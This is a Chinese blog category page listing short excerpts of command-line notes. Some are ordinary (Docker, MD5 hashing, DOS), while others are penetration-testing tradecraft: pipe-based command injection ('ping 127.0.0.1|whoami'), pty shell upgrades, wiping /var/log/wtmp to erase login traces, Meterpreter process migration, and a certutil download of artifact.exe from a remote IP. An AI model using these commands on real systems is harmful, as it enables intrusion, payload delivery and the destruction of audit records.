随笔分类 -  命令使用

Windows和Linux上的管道符使用方法归纳整理
摘要:Windows管道符 “|”:直接执行后面的语句。如:ping 127.0.0.1|whoami “||”:如果前面执行的语句出错泽执行后面的语句,前面的语句智能为假 如:ping 2 || whoami “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 如 ping 127.0. 阅读全文

posted @ 2021-05-18 11:53 tech_lee 阅读(1877) 评论(1) 推荐(0)

python调用本地shell实现交互式命令行
摘要:echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py 如果目标有python环境,可以直接在获得的shell中直接执行python -c 'import pty;pty.spawn('/bin/bas 阅读全文

posted @ 2021-05-18 11:52 tech_lee 阅读(2198) 评论(0) 推荐(0)

ubuntu消除登录痕迹
摘要:清除登录系统成功的记录 [root@localhost root]# echo > /var/log/wtmp //此文件默认打开时乱码,可查到ip等信息 [root@localhost root]# last //此时即查不到用户登录信息 清除登录系统失败的记录 [root@localhost r 阅读全文

posted @ 2021-05-18 11:51 tech_lee 阅读(845) 评论(0) 推荐(0)

meterpreter常用命令
摘要:sessions -l 查看会话 backgroud 暂时退出当前会话 注入进程: ps 查看进程 migrate 注入进程 进程ID 一般选择explorer.exe对应的PID run vnc 查看远程桌面 文件操作 cat 查看文件 edit 编辑文件 upload 上传文件 download 阅读全文

posted @ 2021-05-18 11:49 tech_lee 阅读(602) 评论(0) 推荐(0)

Windows命令查看文件MD5
摘要:D:\>certutil -hashfile md5test.txt MD5 MD5 哈希(文件 md5test.txt): d6 f6 bb 38 b5 6b 67 8f 34 9b e4 d6 2f 52 73 1f CertUtil: -hashfile 命令成功完成。 D:\>certuti 阅读全文

posted @ 2021-05-18 11:47 tech_lee 阅读(638) 评论(0) 推荐(0)

Ubuntu20.04设置开机自启动
摘要:0x01创建rc.local ubuntu-18.04以后 默认是没有 /etc/rc.local 这个文件的,需要自己创建 sudo touch /etc/rc.local 0x02写入开机自启的脚本 #!/bin/sh echo "看到这行字,说明添加自启动脚本成功。" > /usr/local 阅读全文

posted @ 2021-05-18 11:40 tech_lee 阅读(4435) 评论(0) 推荐(0)

Docker命令大全
摘要:初级命令 搜索镜像 docker search ubuntu //一般靠前的是官方镜像,其他是用户自己创建并分享的 下载镜像 docker pull ubuntu //默认下载最新版本的 列出下载的镜像 docker images 创建并使用容器 docker run -i -t --name he 阅读全文

posted @ 2021-05-18 11:29 tech_lee 阅读(154) 评论(0) 推荐(0)

nmap分阶段扫描
摘要:先扫描端口 nmap -Pn -sS -stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oN /root/nmap.txt 192.168.1.2 -Pn 不进行ping 阅读全文

posted @ 2021-05-18 11:27 tech_lee 阅读(238) 评论(0) 推荐(0)

一些DOS命令——笔记
摘要:DOS命令 type 文件名.扩展名 查看文件内容 type 文件名.扩展名 | more 分页查看 copy con 文件名 编辑结束用ctrl+z 编辑大量内容到文件 del 文件名 ——删除文件 del 文件名 /q ——删除文件 不需要提示 md 文件夹 —— 创建文件夹 attrib +h 阅读全文

posted @ 2021-05-18 10:55 tech_lee 阅读(45) 评论(0) 推荐(0)

Windows中cmd命令查看文件是否存在
摘要:例如 attrib C:\programdata\exp.exe 有回显 表示此文件存在。 一般用于验证 文件是否上传成功。 阅读全文

posted @ 2021-05-18 10:45 tech_lee 阅读(3143) 评论(0) 推荐(0)

Windows通过命令行cmd下载远程文件
摘要:certutil.exe -urlcache -split -f http://192.168.163.128:8080/artifact.exe c:\artifact.exe // c:\artifact.exe是保存路径 阅读全文

posted @ 2021-05-18 10:43 tech_lee 阅读(1586) 评论(0) 推荐(0)

导航